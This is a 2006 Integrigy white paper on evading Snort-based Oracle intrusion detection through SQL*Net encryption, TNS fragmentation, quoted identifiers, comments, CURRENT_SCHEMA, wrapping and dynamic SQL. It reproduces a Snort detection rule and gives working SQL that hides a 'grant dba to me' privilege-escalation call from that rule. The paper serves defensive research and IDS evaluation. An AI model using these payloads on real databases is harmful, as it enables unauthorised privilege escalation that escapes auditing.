Evading Network-Based Oracle Database Intrusion Detection Systems

December 11, 2006

INTEGRIGY

Mission Critical Applications…
…Mission Critical Security

Evading Network-Based Oracle Database Intrusion Detection Systems

December 11, 2006

Authors: Stephen Kost and Jack Kanter

If you have any questions, comments or suggestions regarding this document, please send them via e-mail to alerts@integrigy.com.

Integrigy's Vulnerability Disclosure Policy – Integrigy adheres to a strict disclosure policy for security vulnerabilities in order to protect our clients. We do not release detailed information regarding individual vulnerabilities and only provide information regarding vulnerabilities that is publicly available or readily discernable. We do not publish or distribute any type of exploit code. We provide verification or testing instructions for specific vulnerabilities only if the instructions do not disclose the exact vulnerability or if the information is publicly available.

About Integrigy Corporation (www.integrigy.com)

Integrigy Corporation is a leader in application security for large enterprise, mission critical applications. Our application vulnerability assessment tool, AppSentry, assists companies in securing their largest and most important applications. Integrigy Consulting offers security assessment services for leading ERP and CRM applications.

Integrigy Corporation
P.O. Box 81545
Chicago, Illinois 60681 USA
888/542-4802
www.integrigy.com

Table of Contents

1 OVERVIEW

1.1 INTRODUCTION

With the advent of legislative mandates like Sarbanes-Oxley (SOX) and the Health Insurance Portability and Accountability Act (HIPAA), the security and auditing of Oracle Databases has become much more of a priority for most organizations. A common solution has been to implement an Oracle-aware Intrusion Detection System (IDS) or auditing product to address these legislative mandates and increased auditor scrutiny. There are many forms and types of these monitoring and auditing solutions with a variety of features and capabilities – all with pros and cons as to the best fit and overall effectiveness.

This paper will look a number of techniques that may be used to evade such Oracle intrusion detection and auditing solutions. We will focus solely on network-based and signature-based solutions that are independent of the Oracle Database and only monitor SQL*Net traffic to and from the database server. Snort or commercial Snort-based solutions are often implemented in a multi-layer network defense with Oracle signatures enabled. All of the techniques in this paper were only tested against an open-source Snort installation properly configured for an Oracle Database. We purposely selected Snort because of our experience with clients implementing such a solution believing they could identify most common types of Oracle attacks and provide rudimentary auditing of key transactions and/or data access.

Most of the techniques presented here are directly designed to evade an Oracle IDS that uses signatures as the main detection method. The primary issue with using a signature-based solution for an Oracle Database and SQL*Net traffic is the richness of the SQL and PL/SQL languages. An attacker is able to write complex programs and use a wide variety of tools to execute an attack. Traditional signature-based solutions are too simple and too narrowly focused to identify effectively all but the simplest attack. Also, an attack against an Oracle Database most likely will be a single event rather than a virus or worm and performed by an insider who may have a valid database account.

There are a number of commercial solutions available specifically designed for the Oracle Database – some or all of the techniques described here may be effective against these commercial solutions but we did not specifically test any of these techniques with commercial products for this paper. There are other commercial solutions that reside within the database or use log files to monitor and audit database activities, as well as the Oracle delivered auditing (database auditing, Fine Grained Auditing, Audit Vault). Some of the techniques described here may be effective for non-network-based solutions.

Some readers, particularly network administrators and IT security professionals, will point out that the objective of an IDS is to be one-layer of a "defense in depth" network security strategy and to detect general network attacks rather than to be a complete Oracle IDS or auditing solution. Nevertheless, our experience with clients has shown internal/external auditors and legislative requirements like SOX are driving Oracle customers to implement solutions to monitor and audit internal Oracle database users often without much regard or concern for external or general threats to Oracle databases. Due to cost and time constraints (or to simply get a check mark on a checklist), existing IDS implementations are many times leveraged to provide such monitoring and auditing.

1.2 EVASION TECHNIQUES

In a paper posted to the Full Disclosure security mailing list titled "Oracle Database IDS Evasion Techniques for SQL*Net" [1], Joxean Koret describes three techniques that can be used to evade Oracle signatures of Snort-based IDS. This paper expands on the three techniques described by Joxean with a number of new techniques and some variations on Joxean's techniques.

The evasion techniques described in this paper were included since they are all easily reproducible by an experienced Oracle DBA or Oracle developer using standard Oracle drivers and client software. We did not include any techniques that may require custom programs and direct manipulation of the TNS protocol, although there are a number of promising techniques that require advanced knowledge and cannot be readily executed using off-the-shelf Oracle software. Undoubtedly, we have not exposed all the possible evasion techniques, but hopefully provide enough impetus for network and database administrators to carefully evaluate their Oracle IDS implementations to determine the true state of effectiveness.

1.3 SNORT AND ORACLE

The default `snort.conf` (Snort version 2.6.1.1) file has the following settings related to an Oracle database –

```
var HOME_NET any
var SQL_SERVERS $HOME_NET
var ORACLE_PORTS 1521
include $RULE_PATH/oracle.rules
```

Basically, in a default configuration Snort will analyze all traffic for potential Oracle database attacks only on port 1521. In the most current `oracle.rules` file (v 1.34 2006/11/06 23:06:56 vrtbuild), there are in the default configuration 286 active rules with 282 of these rules configured for `ORACLE_PORTS` as the destination port. The other four rules are specific to Oracle Enterprise Manager (OEM), Oracle Report Server, or Oracle XDB. There are also 24 rules commented out in the `oracle.rules` file that are for common data dictionary objects and SQL statements.

Just as Joxean Koret did in his paper, we will pick on the Snort rule 3657 as an example in this paper. This rule does include the schema name (format "schema.object", "schema.package", or "schema.package.procedure/function") as do about 40% of the Snort

Oracle rules. Another 40% of the rules are in the format "package.procedure/function". The exact format of the database object in the rule is critical to some of the evasion techniques. Snort Rule 3657 is designed to detect an attacker attempting to exploit a security vulnerability in the standard database package `ctxsys.driload`. Any network packet with a destination of port 1521 in the default Snort configuration will trigger an alert if the payload contains the string "ctxsys.driload" (case insensitive). The rule is defined as follows in the `oracle.rules` file –

```
alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE
ctxsys.driload attempt"; flow:to_server,established;
content:"ctxsys.driload"; nocase; reference:bugtraq,11099;
reference:cve,2004-0637; reference:nessus,16209; classtype:attempted-
user; sid:3657; rev:3;)
```

In a future paper, we will examine the overall effectiveness of Snort and the current rules in detecting Oracle attacks as well as begin the process of improving the Oracle capabilities of Snort. A number of issues exist with the current Snort configuration and rules that limit the effectiveness as an Oracle SQL*Net IDS. Clearly, many of the Oracle rules have been defined over an extended period by a group of security experts sometimes with limited Oracle knowledge. The configuration settings and rules do not work well in respect to actual configurations and deployment of most Oracle databases. In addition, there are a number of errors and other deficiencies in the current set of Oracle rules. Snort without a doubt can provide a first-level of effective attack detection provided the proper configuration and a well-written, comprehensive set of rules.

1.4 Database Versions, Platforms, and Clients

The techniques and test cases described in the paper were developed over an extended period of time using multiple Oracle Enterprise Edition database servers and client versions, including 8.0.6, 8.1.7.4, 9.2, 10.1, and 10.2. The tested operating systems included Solaris, HP/UX, Linux, and Microsoft Windows XP/2000/2003. All the techniques in this paper will work with the standard Oracle drivers (OCI and JDBC) and Oracle tools (e.g., SQL*Plus and SQL Developer). However, we did experience some issues when mixing server and client versions, thus we suggest you use the same client version as the database server for maximum compatibility. We did not test every technique across all currently supported database versions nor across all platforms, therefore, your mileage may vary for a specific operating system, database version, client version, and client driver (OCI vs. JDBC).

2 NETWORK

2.1 ENCRYPTION

Most Oracle databases are currently configured for SQL*Net encryption by default –

- Oracle Advanced Security Option (ASO) is usually installed by default even though it is an option and licensed separately.
- The actual server default for SQL*Net encryption is `accepted` not `rejected` as stated in the Oracle 9.2 and 10.1 Oracle Networking reference manuals (correct in the 10.2 manual).

Encryption can be enabled for a SQL*Net session by simply setting the client-side parameter `SQLNET.ENCRYPTION_CLIENT` to `required` and the `SQLNET.CRYPTO_SEED` parameter in the `sqlnet.ora` file. As long as the `SQLNET.ENCRYPTION_SERVER` parameter is not set (it is not set by default and the default is `accepted`) or is set to `required`, `requested`, or `accepted`, the server will accept an encrypted SQL*Net session. Even though Advanced Security Option is an option and is licensed separately, the default installation of Oracle Database Enterprise Edition is to install ASO and allow SQL*Net encryption. On UNIX/Linux, ASO support can be verified with the `adapters` command which will list all the supported encryption algorithms. ASO is only available with Oracle Database Enterprise Edition, therefore, this evasion technique will not work with Oracle Database Standard Edition.

Without ASO encryption enabled (the default), all SQL statements in TNS packets are in clear-text as follows –

Default sqlnet.ora Configuration

```
#SQLNET.ENCRYPTION_CLIENT=accepted       [default]
#SQLNET.CRYPTO_SEED=<empty>              [default]
```

```
0040  03 4a 3a 01 00 00 00 07  00 00 00 5c 65 da 00 c0   .J:..... ...\e...
0050  00 00 00 00 00 00 00 00  00 00 00 d4 f9 12 00 01   ........ ........
0060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40   ........ .......@
0080  73 65 6c 65 63 74 20 63  74 78 73 79 73 2e 64 72   select c txsys.dr
0090  69 6c 6f 61 64 2e 76 61  6c 69 64 61 74 65 5f 73   iload.va lidate_s
00a0  74 6d 74 28 27 67 72 61  6e 74 20 64 62 61 20 74   tmt('gra nt dba t
00b0  6f 20 6d 65 27 29 20 66  72 6f 6d 20 64 75 61 6c   o me') f rom dual
00c0  02 00 00 00                                        ....
```

With ASO encryption, the packet data is encrypted using a negotiated algorithm that is available on both the client and server.

Client sqlnet.ora Configuration	SQLNET.ENCRYPTION_CLIENT=required SQLNET.CRYPTO_SEED=12345678901234567890

```
0040  2c 2e 32 dd 23 09 50 9f  e9 d3 9d 20 4a 88 84 cc   ,.2.#.P. ... J...
0050  07 d0 6e c1 a1 15 c7 95  55 8d 10 1a ec 2e 22 d1   ..n..... U.....".
0060  f7 cf 9e e7 b9 df b9 95  e2 c9 d4 d0 1e 29 03 5d   ........ .....).]
0070  3a a4 87 70 88 2c 90 7f  72 fa a8 e4 0b 93 47 23   :..p.,.. r.....G#
0080  73 ac 5c 81 1d 28 05 96  c9 f3 d4 a6 1a dd 6d 33   s.\..(.. ......m3
0090  cd 1a f2 d1 6d a3 1d fc  75 ba a9 f6 23 c8 c8 9a   ....m... u...#...
00a0  d0 35 b5 7c 55 e9 3f 2a  72 58 88 d7 22 0d ae 65   .5.|U.?* rX.."..e
00b0  3d 35 33 6b 42 ea 4a b5  b7 b0 39 df 81 11 96 30   =53kB.J. ..9....0
00c0  52 97 cc 93 de 87 ed e7  6f b2 a0 82 69 bb 8a 00   R....... o...i...
00d0  0d 01                                              ..
```

2.1.1 Work-around

If SQL*Net encryption is not being used and ASO has not been licensed, then SQL*Net encryption can be disabled for each TNS Listener by setting the SQLNET.ENCRYPTION_SERVER parameter on the server to rejected – this will prevent any client from connecting to the TNS Listener using an encrypted session and will return the error ORA-12650 if the client has the SQLNET.ENCRYPTION_CLIENT parameter to required.

2.2 SQL*NET FRAGMENTATION

In 1998, Thomas Ptacek and Timothy Newsham in their paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection," [2] identified significant weaknesses in most intrusion detection systems related to network fragmentation and packet assembly. Most IDS including Snort now have countermeasures that attempt to reconstruct network traffic into a form as seen by the target to prevent this type of evasion technique. The same issue exists with SQL*Net but one layer up in the protocol stack, namely at the TNS transport layer.

It is possible to set the maximum TNS transport data size or "session data unit" (SDU) size in the client configuration. TNS will use the smaller of the client's and server's SDU size for all communication between the server and client. The default SDU size is 2048 bytes, but any value between 512 and 32,768 can be used, although larger values will result in TCP fragmentation.

The parameter DEFAULT_SDU_SIZE was introduced in 9.2.0.3 and is set in the sqlnet.ora file. Setting DEFAULT_SDU_SIZE to 512 bytes allows an attacker to fragment any SQL or PL/SQL across multiple network packets. The key is that fragmentation at the TNS transport layer does not result in IP fragmentation, therefore, the Snort IP fragmentation countermeasures (frag3) are not invoked. By setting a small, fixed SDU size, an attacker is able to "craft" packets which split SQL or PL/SQL at precise points. Using copious comments and whitespace which is passed to the database server as is makes this job a fairly easy task. Packet layout and size are consistent and predictable across database sessions and versions, thus an attacker is able to model a stream of TNS packets in a test environment with a high degree of confidence.

The default for DEFAULT_SDU_SIZE is 2048 bytes, which will accommodate all but the largest SQL statements in a single network packet. The simplest method for an attacker is to modify the SDU size or to simply lower the setting to the minimum value of 512. As shown below, a carefully crafted SQL statement can force the statement across two network packets.

Default sqlnet.ora Configuration	#DEFAULT_SDU_SIZE=2048 [Default]

```
0040  03 4a 3a 01 00 00 00 07  00 00 00 5c 65 da 00 c0   .J:..... ...\e...
0050  00 00 00 00 00 00 00 00  00 00 00 d4 f9 12 00 01   ........ ........
0060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40   ........ .......@
0080  73 65 6c 65 63 74 20 63  74 78 73 79 73 2e 64 72   select c txsys.dr
0090  69 6c 6f 61 64 2e 76 61  6c 69 64 61 74 65 5f 73   iload.va lidate_s
00a0  74 6d 74 28 27 67 72 61  6e 74 20 64 62 61 20 74   tmt('gra nt dba t
00b0  6f 20 6d 65 27 29 20 66  72 6f 6d 20 64 75 61 6c   o me') f rom dual
00c0  02 00 00 00                                        ....
```

Client sqlnet.ora Configuration	DEFAULT_SDU_SIZE=512 [minimum value]

Packet #1

```
0040  03 4a 33 01 00 00 00 04  00 00 00 c4 9b d4 00 bc   .J3..... ........
0050  01 00 00 00 00 00 00 00  00 00 00 d4 f9 12 00 01   ........ ........
0060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
0070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 fe   ........ ........
0080  40 2d 2d 20 54 6f 20 6d  61 6b 65 20 74 68 69 73   @-- To m ake this
0090  20 77 6f 72 6b 20 79 6f  75 20 6e 65 65 64 20 74    work yo u need t
00a0  6f 20 61 64 64 20 61 20  62 75 6e 63 68 20 6f 66   o add a  bunch of
00b0  20 66 69 6c 6c 65 72 2c  20 77 68 69 63 68 20 63    filler,  which c
00c0  61 40 6e 20 62 65 0a 2d  2d 20 63 6f 6d 6d 65 6e   a@n be.- - commen
00d0  74 73 2c 20 77 68 69 74  65 73 70 61 63 65 2c 20   ts, whit espace,
00e0  6f 72 20 76 61 6c 69 64  20 53 51 4c 20 73 74 61   or valid  SQL sta
00f0  74 65 6d 65 6e 74 73 2e  20 20 54 68 65 20 6b 65   tements.   The ke
0100  79 20 40 69 73 20 62 65  20 6d 61 6b 65 0a 2d 2d   y @is be  make.--
0110  20 73 75 72 65 20 74 68  65 20 53 51 4c 20 73 74    sure th e SQL st
0120  61 74 65 6d 65 6e 74 20  62 72 65 61 6b 73 20 69   atement  breaks i
0130  6e 20 62 65 74 77 65 65  6e 20 63 74 78 73 79 73   n betwee n ctxsys
0140  20 61 6e 40 64 20 64 72  69 6c 6f 61 64 2e 20 20    an@d dr iload.
0150  20 54 68 65 0a 2d 2d 20  6d 69 6e 69 6d 75 6d 20    The.--  minimum
0160  6f 66 20 44 45 46 41 55  4c 54 5f 53 44 55 5f 53   of DEFAU LT_SDU_S
0170  49 5a 45 20 69 73 20 35  31 32 20 62 79 74 65 73   IZE is 5 12 bytes
0180  2c 20 73 6f 40 20 77 69  74 68 20 68 65 61 64 65   , so@ wi th heade
0190  72 73 20 61 6e 64 20 6f  74 68 65 72 0a 2d 2d 20   rs and o ther.--
01a0  73 74 75 66 66 20 74 68  65 20 61 63 74 75 61 6c   stuff th e actual
01b0  20 53 51 4c 20 73 74 61  74 65 6d 65 6e 74 20 69    SQL sta tement i
01c0  73 20 61 62 6f 40 75 74  20 34 30 30 20 62 79 74   s abo@ut  400 byt
01d0  65 73 2e 0a 2d 2d 20 53  6f 20 79 6f 75 20 6e 65   es..-- S o you ne
01e0  65 64 20 74 6f 20 61 64  64 2e 2e 2e 2e 2e 2e 2e   ed to ad d.......
01f0  2e 2e 2e 2e 2e 2e 2e 2e  2e 2e 2e 2e 2e 2e 2e 2e   ........ ........
0200  2e 0a 73 65 6c 65 3c 63  74 20 63 74 78 73 79 73   ..sele<c t ctxsys
0210  2e                                                 .
```

Packet #2

```
0040  64 72 69 6c 6f 61 64 2e  76 61 6c 69 64 61 74 65   driload. validate
0050  5f 73 74 6d 74 28 27 67  72 61 6e 74 20 64 62 61   _stmt('g rant dba
0060  20 74 6f 20 6d 65 27 29  20 66 72 6f 6d 20 64 75    to me')  from du
0070  61 6c 00 02 00 00 00                               al.....
```

3 Obfuscation

3.1 Quoted Identifiers

Oracle uses two naming conventions for schema object names – (1) standard or non-quoted identifiers and (2) quoted identifiers. Non-quoted identifiers can be all valid alphanumeric characters for the character set and underscore (_), dollar sign ($), and pound sign (#). Non-quoted identifiers are also case insensitive. Quoted identifiers can be any valid character with the exception of a double quote (") and are case sensitive. The quoted identifier equivalent of any non-quoted identifier is the identifier in all uppercase.

Valid Schema Object Names	Invalid Schema Object Names
`Select * from sys.dba_users`	`select * from "SYS.DBA_USERS"`
`select * from sys."DBA_USERS"`	`select * from sys."dba_users"`
`select * from "SYS"."DBA_USERS"`	`select * from "sys"."DBA_USERS"`
`select * from "SYS".dba_users`	`select * from "sys".DBA_USERS`

Simplistic signatures or rules that include both the schema name and object name ("schema.object") or package and procedure/function ("package.procedure/function") can be simply evaded by enclosing either or both the schema name and object name in double quotes.

To evade the driload rule, the following SQL statement will work –

```
select ctxsys."DRILOAD".validate_stmt('grant dba to me') from dual;
```

3.2 SQL and PL/SQL Comments and Whitespace

Oracle SQL and PL/SQL allows both in-line using /* */ and single line comments using double dashes (--). Comments cannot be embedded in schema object names or reserved words (as can be done in MySQL). Since hints are a form of in-line comments, hints can be used in the same way as in-line comments.

Valid SQL Statements
`select * from sys./*test*/dba_users`
`select * from /*test*/sys/*test*/./*test*/dba_users/*test*/`
`select * from sys    .      dba_users`
`select * from (sys.dba_users)`

`Select * from`
`sys`
`.`
`dba_users`

select * from sys. /* this is a test */ -- dba_users
select * from sys -- /*test*/./*test*/ -- dba_users

Invalid SQL Statements
select * from sys.dba/*test*/_users
select * from sys.dba   _users
select * from s y s . d b a _ u s e r s
select * from (sys).(dba_users)
select * from sys. /* this is a test */ -- -- -- dba_-- users

The only real limitation is that the actual schema object name must be kept intact, but there may be any combination comments and whitespace between the schema and object name.

As with quoted identifiers, simplistic signatures or rules that include both the schema name and object name ("schema.object") or package and procedure/function ("package.procedure/function") can be simply evaded by embedding in-line comments, single line comments, and whitespace in the schema object name.

To evade the driload rule, the following SQL statement will work –

```
select ctxsys./*haha*/driload.validate_stmt('grant dba to me') from dual;
```

3.3 SYNONYMS

Since many signatures are based on "schema.package.procedure/function" or "package.procedure/function", simply creating a synonym to the package name may be effective. The attacker must have `CREATE SYNONYM`, `CREATE ANY SYNONYM`, or `CREATE PUBLIC SYNOYMN` system privilege in order to create or replace a synonym. Prior to 10.2, the default `CONNECT` role has `CREATE SYNONYM` system privilege.

This evasion technique is not as effective for our ctxsys.driload example as the attacker will have to issue the following SQL statement to create the synonym, which will trigger the IDS rule –

```
create or replace synonym evade for ctxsys.driload
```

However, for many of the rules in the format "schema.package.procedure/function" or "package.procedure/function", creating a synonym is effective given that the synonym create SQL will not include the procedure/function name – only the schema.package is required for the synonym. Many rules do not include the schema since often a public synonym already exists for the package.

3.4 SET CURRENT_SCHEMA

In a technique described by Joxean Koret, to evade rules in the format "schema.package", "schema.object", or "schema.package.procedure/function" simply use the ALTER SESSION SET CURRENT_SCHEMA statement to set the current session default schema. All database accounts have the capability to issue an ALTER SESSION SET CURRENT_SCHEMA statement.

The following SQL statements will evade the driload signature or rules in the format "schema.package", "schema.object", or "schema.package.procedure/function" –

```
alter session set current_schema = ctxsys;
select driload.validate_stmt('grant dba to me') from dual;
```

3.5 WRAPPING

Oracle PL/SQL packages, procedures, functions, and types may be "wrapped" when loaded into the database in order to protect the source code. The PL/SQL source code is wrapped using the command line tool wrap or the 10g database package DBMS_DDL. Wrapping in 10g is much more effective since with 9i strings in wrapped procedures are not obfuscated/encrypted. In 9i, all strings and object names are in clear text and thus may trigger the appropriate signature, although, the other evasion techniques in this paper can be utilized to overcome this limitation.

The key limitation is that anonymous PL/SQL blocks and triggers cannot be wrapped – only CREATE OR REPLACE statements for functions, procedures, packages, and types. The database account must have CREATE PROCEDURE or CREATE TYPE system privilege, which is granted to the RESOURCE role by default in all versions of the Oracle database.
The following statements can be wrapped –

```
CREATE [OR REPLACE] FUNCTION function_name
CREATE [OR REPLACE] PROCEDURE procedure_name
CREATE [OR REPLACE] PACKAGE package_name
CREATE [OR REPLACE] PACKAGE BODY package_name
CREATE [OR REPLACE] TYPE type_name AS OBJECT
```



```
CREATE [OR REPLACE] TYPE type_name UNDER type_name
CREATE [OR REPLACE] TYPE BODY type_name
```

The attacker can use the wrap utility to obfuscate the code and then load it into the database using any SQL tool. The IDS will not match any signatures since the code is in an obfuscated/encrypted form. Then the attacker simply has to execute the code by a simple call that need not include any SQL that will match an IDS signature.

4 Dynamic SQL

Dynamic SQL is probably the most significant challenge for any network-based and signature-based Oracle IDS or auditing solution. The attacker has complete freedom to create complex programs using both SQL and PL/SQL to evade the IDS. The key point about using dynamic SQL in a SQL statement or PL/SQL anonymous block as an evasion technique is that it is sent across the network as written by the attacker and then executed in the database and dynamic SQL provides the flexibility to obfuscate the SQL as necessary to evade the IDS. Thus, the IDS will only see what the attacker wants the IDS to see.

There are two pieces to the puzzle in order to evade an IDS signature using dynamic SQL – (1) the execution method and (2) the SQL obfuscation method. The "execution method" is how the dynamic SQL will be executed in the database. There are a number of dynamic execution methods including the standard one like package DBMS_SQL and the PL/SQL statement execute immediate as well as others such as the DBMS_JOB package. The SQL string obfuscation method can be virtually anything from storing the SQL string in the database for later retrieval to using encryption routines. Specific examples and techniques we will leave to the reader's imagination and only provide in this paper a high-level framework of what can and needs to be accomplished by the attacker.

4.1 Executing Dynamic SQL

4.1.1 Standard Dynamic SQL

In PL/SQL, there are three well-documented methods to execute dynamic SQL – (1) DBMS_SQL package, (2) execute immediate PL/SQL statement, and (3) dynamic cursors. DBMS_SQL and execute immediate are known to all Oracle developers, but dynamic cursors may not be as familiar. There is a PL/SQL construct that allows a cursor to execute using dynamic SQL as follows –

```
CREATE OR REPLACE PROCEDURE evade AS
      …
BEGIN
      …
      l_sql := 'SELECT ctxsys.';
      l_sql := l_sql + 'driload.validate_stmt';
      l_sql := l_sql + '(''grant dba to me'') FROM dual';
      OPEN cursor_evade FOR l_sql;
      LOOP
```

```
            …
        END LOOP;
        CLOSE cursor_evade;
        …
    END;
```

4.1.2 SQL Executing Functions

There are a few of standard database packages, functions, and procedures that allow dynamic execution of SQL and some of these packages are granted to PUBLIC, such as DBMS_DEBUG.EXECUTE and DBMS_XMLQUERY.GETXML.

4.1.3 Jobs and Schedules

Another method of executing dynamic SQL is to submit the SQL string as a job using either DBMS_JOB.SUBMIT or the new Oracle 10g package DBMS_SCHEDULER. One advantage for an attacker in using these packages is that the SQL can also be executed at a specific time or repeatedly.

4.2 SQL STRING OBFUSCATION

Obfuscating the SQL string can be as simple as concatenating the SQL string together to more complicated methods like encrypting the string prior and then decrypting at runtime. The key challenge is to obfuscate the string sufficiently so that the IDS rule is not triggered, which is not very difficult. The are a number of SQL functions, PL/SQL functions, and standard database packages that may be useful in this regard – DBMS_CRYPTO, DBMS_OBFUSCATION_TOOLKIT, UTL_ENCODE, UTL_I18N, UTL_LMS.FORMAT_MESSAGE, and UTL_RAW (such as UTL_RAW.REVERSE).

5 REFERENCES

[1] "Oracle Database IDS Evasion Techniques for SQL*Net", Joxean Koret, http://archives.neohapsis.com/archives/fulldisclosure/2006-08/0593.html.

[2] "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection", Thomas H. Ptacek and Timothy N. Newsham, http://www.snort.org/docs/idspaper/.

[3] "An Introduction to SQL Injection Attacks for Oracle Developers", Stephen Kost, Integrigy Corporation, http://www.integrigy.com/security-resources/whitepapers/Integrigy_Oracle_SQL_Injection_Attacks.pdf/view.

[4] "Oracle Database Net Services Reference 10g Release 2 (10.2) B14213-01 June 2005", Oracle Corporation

[5] "Oracle Database PL/SQL User's Guide and Reference 10g Release 2 (10.2) B14261-01 June 2005", Oracle Corporation

[6] "Oracle Database PL/SQL Packages and Types Reference 10g Release 2 (10.2) B14258-01 June 2005", Oracle Corporation

[7] "Oracle Database SQL Reference 10g Release 1 (10.1) Part No. B10759-01 December 2003", Oracle Corporation

[8] Snort Intrusion Detection System 2.6, Configuration Files and Documentation, http://www.snort.org

